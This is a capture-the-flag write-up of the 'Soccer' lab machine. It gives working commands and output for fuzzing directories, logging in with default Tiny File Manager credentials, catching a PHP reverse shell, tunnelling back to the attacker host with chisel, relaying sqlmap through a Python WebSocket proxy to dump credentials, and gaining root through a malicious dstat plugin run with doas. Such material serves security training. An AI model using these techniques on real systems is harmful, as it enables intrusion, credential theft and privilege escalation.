The machine Soccer required us to employ brute force techniques on directories within an HTTP service running on the target system in order to identify a vulnerable service. Exploiting this particular service allows us to establish a foothold on the machine by means of a PHP reverse shell. Once we have gained this foothold, it becomes necessary to perform enumeration on the services operating within the machine. Through the examination of the nginx configuration file, we can determine the presence of an internal service. By forwarding this service to our own machine, we discover that this service exhibits vulnerability to SQL injection through its utilization of a unsanitized websocket. By utilizing the tool sqlmap via a websocket proxy, we are able to retrieve user credentials, enabling us to SSH into the machine. With a shell obtained as the owner of these credentials, we can leverage a SUID program to escalate our privileges to root.
Recon
The HTTP service has as its domain soccer.htb
, by changing the /etc/hosts
file, we will be able to reach it.
nmap (TCP all ports)
nmap
finds three open TCP ports, an SSH
service (22), a HTTP
sevice (80) and an unkown service (9091):
$ nmap -p- soccer.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2022-12-19 10:34 WET
Nmap scan report for soccer.htb (10.129.205.35)
Host is up (0.051s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
9091/tcp open xmltec-xmlmail
Nmap done: 1 IP address (1 host up) scanned in 144.48 seconds
$
nmap (found TCP ports exploration)
$ nmap -sC -sV -p 80,22,9091 soccer.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2022-12-19 10:46 WET
Nmap scan report for soccer.htb (10.129.205.35)
Host is up (0.050s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Soccer - Index
9091/tcp open xmltec-xmlmail?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix:
| HTTP/1.1 400 Bad Request
| Connection: close
| GetRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 139
| Date: Mon, 19 Dec 2022 10:46:19 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot GET /</pre>
| </body>
| </html>
| HTTPOptions, RTSPRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 143
| Date: Mon, 19 Dec 2022 10:46:19 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot OPTIONS /</pre>
| </body>
|_ </html>
1 service unrecognized despite returning data.
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.67 seconds
$
HTTP - TCP 80
Technologies used:
By checking the webpage presented to us with Wappalyzer, we can get to know what technologies are being used:
Directory enumeration:
We can discover a hidden directory by fuzzing with ffuf
:
$ ffuf -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://soccer.htb/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0
________________________________________________
:: Method : GET
:: URL : http://soccer.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
tiny [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 51ms]
[Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 53ms]
:: Progress: [87664/87664] :: Job [1/1] :: 745 req/sec :: Duration: [0:02:00] :: Errors: 0 ::
$
Tiny File Manager
The following landing page is presented to us after arriving at the found directory.
Project Information
HTML
By checking the HTML
source code given to us by the server we can discover the following:
<div class="footer text-center">
—— ©
<a href="https://tinyfilemanager.github.io/" target="_blank" class="text-muted" data-version="2.4.3">CCP Programmers</a> ——
</div>
Project Documentation:
By following the source URL we can better understand the service being run. In this case we are presented with the service Tiny File Manager, a web-based file manager.
Default credentials:
By searching through the project wiki we can find the following default credentials:
admin:admin@123
user:12345
We can use these credentials to login as admin and be presented with the following dashboard:
Shell as www-data:
Obtain shell
The File Manager enables us to upload arbitrary files to it. Having that in mind and also that the service is built with PHP
, we can try to upload a reverse shell. We can later invoke it by navigating to where it’s hosted within the service. To accomplish this we firstl need a payload. For this we can use this famous reverse shell. After that we just need to upload our reverse shell and listen to our host as follows:
$ nc -lvnp 9001
Listening on 0.0.0.0 9001
Connection received on 10.129.205.35 39106
Linux soccer 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
12:10:41 up 1:41, 0 users, load average: 0.00, 0.01, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: 0: can't access tty; job control turned off
$
Shell as Player
Enumeration
At the target host we can see that in the nginx configuration files there’s a mention of a internal service being run:
$ cat /etc/nginx/sites-available/soc-player.htb
server {
listen 80;
listen [::]:80;
server_name soc-player.soccer.htb;
root /root/app/views;
location / {
proxy_pass http://localhost:3000;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection 'upgrade';
proxy_set_header Host $host;
proxy_cache_bypass $http_upgrade;
}
}
$
Pivoting
To reach this enabled service we need to use a tunnel for our requests. This tunnel will be between our host machine and our target machine. It will enable us to make requests for the internal service and they will be redirected to the service. For this we will use the tool chisel.
In our host machine we create a server with reverse tunneling enabled:
$ chisel server --reverse --port 9002
2022/12/19 12:32:06 server: Reverse tunnelling enabled
2022/12/19 12:32:06 server: Fingerprint BSxUc6CvePyBO0WgUhArmgv2OI5MkEiQikzSMAInrLs=
2022/12/19 12:32:06 server: Listening on http://0.0.0.0:9002
At our target machine we create a client pointing to our host machine:
www-data@soccer:/tmp$ ./chisel client 10.10.15.97:9002 R:3000:127.0.0.1:3000
2022/12/19 12:33:43 client: Connecting to ws://10.10.15.97:9002
2022/12/19 12:33:43 client: Connected (Latency 48.159213ms)
Private page
By making now a request to the page we are presented with the following:
Checking deeper with a dummy account, we find a ticket box that does seemingly doing nothing:
WebSocket
The Internal service is running WebSockets this can be seen with the help of burpsuite
:
Although WebSocket’s can be secure the use of them is similar to a POST
request and similar vulnerabilities can be discovered, one being SQLi.
SQLMAP through proxy
To automate SQLi
vulnerability discover and exploitation we are going to use sqlmap with the help of a proxy.
Proxy
The sqlmap
proxy was from this blogpost where the attack vector was similar so the attacker built a flask server to relay the request from sqlmap
to the WebSocket. With some modification, for our case, we have the following:
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection
ws_server = "ws://soc-player.soccer.htb:9091"
def send_ws(payload):
ws = create_connection(ws_server, cookie="<YOUR_COOKIE>")
# If the server returns a response on connect, use below line
#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
# For our case, format the payload in JSON
message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
data = '{"id":"%s"}' % message
ws.send(data)
resp = ws.recv()
ws.close()
if resp:
return resp
else:
return ''
def middleware_server(host_port,content_type="text/plain"):
class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self) -> None:
self.send_response(200)
try:
payload = urlparse(self.path).query.split('=',1)[1]
except IndexError:
payload = False
if payload:
content = send_ws(payload)
else:
content = 'No parameters specified!'
self.send_header("Content-type", content_type)
self.end_headers()
self.wfile.write(content.encode())
return
class _TCPServer(TCPServer):
allow_reuse_address = True
httpd = _TCPServer(host_port, CustomHandler)
httpd.serve_forever()
print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")
try:
middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
pass
Now we just need to run the proxy server on our machine:
$ python3 proxy.py
[+] Starting MiddleWare Server
[+] Send payloads in http://localhost:8081/?id=*
And we now can relay the requests to the WebSocket client with the help of the proxy:
$ sqlmap -u "http://localhost:8081/?id=1" --batch --dbs
___
__H__
___ ___[']_____ ___ ___ {1.6.4#stable}
|_ -| . [.] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
...
Results
By using sqlmap we can see that it’s indeed vulnerable to SQLi
, and we can recover the contents of the database with it:
$ sqlmap -u "http://localhost:8081/?id=1" --batch -D soccer_db -T accounts --dump
___
__H__
___ ___["]_____ ___ ___ {1.6.4#stable}
|_ -| . [,] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 13:35:17 /2022-12-19/
[13:35:18] [INFO] resuming back-end DBMS 'mysql'
[13:35:18] [INFO] testing connection to the target URL
[13:35:18] [WARNING] turning off pre-connect mechanism because of incompatible server ('SimpleHTTP/0.6 Python/3.10.6')
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 2032 FROM (SELECT(SLEEP(5)))mdFJ)
---
[13:35:18] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[13:35:18] [INFO] fetching columns for table 'accounts' in database 'soccer_db'
[13:35:18] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[13:35:29] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
4
[13:35:31] [INFO] retrieved:
[13:35:41] [INFO] adjusting time delay to 1 second due to good response times
email
[13:36:00] [INFO] retrieved: id
[13:36:10] [INFO] retrieved: password
[13:36:50] [INFO] retrieved: username
[13:37:25] [INFO] fetching entries for table 'accounts' in database 'soccer_db'
[13:37:25] [INFO] fetching number of entries for table 'accounts' in database 'soccer_db'
[13:37:25] [INFO] retrieved: 1
[13:37:28] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)
player@player.htb
[13:38:59] [INFO] retrieved: 1324
[13:39:19] [INFO] retrieved: PlayerOftheMatch2022
[13:40:51] [INFO] retrieved: player
Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id | email | password | username |
+------+-------------------+----------------------+----------+
| 1324 | player@player.htb | PlayerOftheMatch2022 | player |
+------+-------------------+----------------------+----------+
[13:41:20] [INFO] table 'soccer_db.accounts' dumped to CSV file '/home/pengrey/.local/share/sqlmap/output/localhost/dump/soccer_db/accounts.csv'
[13:41:20] [INFO] fetched data logged to text files under '/home/pengrey/.local/share/sqlmap/output/localhost'
[13:41:20] [WARNING] your sqlmap version is outdated
[*] ending @ 13:41:20 /2022-12-19/
$
Found credentials:
player@player.htb:PlayerOftheMatch2022
SSH as player
By using the found credentials found for the user player we can successfully login through SSH
:
$ ssh player@soccer.htb
The authenticity of host 'soccer.htb (10.129.205.35)' can't be established.
ED25519 key fingerprint is SHA256:PxRZkGxbqpmtATcgie2b7E8Sj3pw1L5jMEqe77Ob3FE.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'soccer.htb' (ED25519) to the list of known hosts.
player@soccer.htb's password:
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-135-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon Dec 19 13:58:11 UTC 2022
System load: 0.07
Usage of /: 70.3% of 3.84GB
Memory usage: 21%
Swap usage: 0%
Processes: 226
Users logged in: 0
IPv4 address for eth0: 10.129.205.35
IPv6 address for eth0: dead:beef::250:56ff:fe96:f5b4
0 updates can be applied immediately.
Last login: Tue Dec 13 07:29:10 2022 from 10.10.14.19
player@soccer:~$
Shell as root
SUID files
By lookin for SUID
files we can see that the doas
is present in this box.
player@soccer:~$ find / -user root -perm /4000 2>/dev/null
/usr/local/bin/doas
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/bin/umount
/usr/bin/fusermount
/usr/bin/mount
/usr/bin/su
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chsh
/snap/snapd/17883/usr/lib/snapd/snap-confine
/snap/core20/1695/usr/bin/chfn
/snap/core20/1695/usr/bin/chsh
/snap/core20/1695/usr/bin/gpasswd
/snap/core20/1695/usr/bin/mount
/snap/core20/1695/usr/bin/newgrp
/snap/core20/1695/usr/bin/passwd
/snap/core20/1695/usr/bin/su
/snap/core20/1695/usr/bin/sudo
/snap/core20/1695/usr/bin/umount
/snap/core20/1695/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1695/usr/lib/openssh/ssh-keysign
player@soccer:~$
doas config file
We can try to search for the doas.conf
file, this will enable us to see what type of commands we can run with root permitions.
player@soccer:~$ find / -name "doas.conf" 2>/dev/null
/usr/local/etc/doas.conf
We can therefore see that that our user is able to run /usr/bin/dstat
as root without the need of password:
player@soccer:~$ cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat
player@soccer:~$
dstat plugin
Dstat is an adaptable utility that generates statistics on system resources. Users can enhance its functionality by creating custom plugins and executing them using options like dstat --myplugin
. We can take advatage of this funtionality and we can try to create a plugin under /usr/local/share/dstat/dstat_pengrey.py
to try and run arbitrary code as root. You can learn more about it here.
import os
os.system("/bin/bash")
Privilege Escalation
Now to obtain root we simply need to execute the plugin:
player@soccer:/usr/local/share/dstat$ dstat --list | grep pengrey
pengrey
player@soccer:/usr/local/share/dstat$ doas -u root /usr/bin/dstat --pengrey
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
import imp
Module dstat_pengrey failed to load. (name 'dstat_plugin' is not defined)
None of the stats you selected are available.
root@soccer:/usr/local/share/dstat#
root@soccer:/usr/local/share/dstat# id; whoami
uid=0(root) gid=0(root) groups=0(root)
root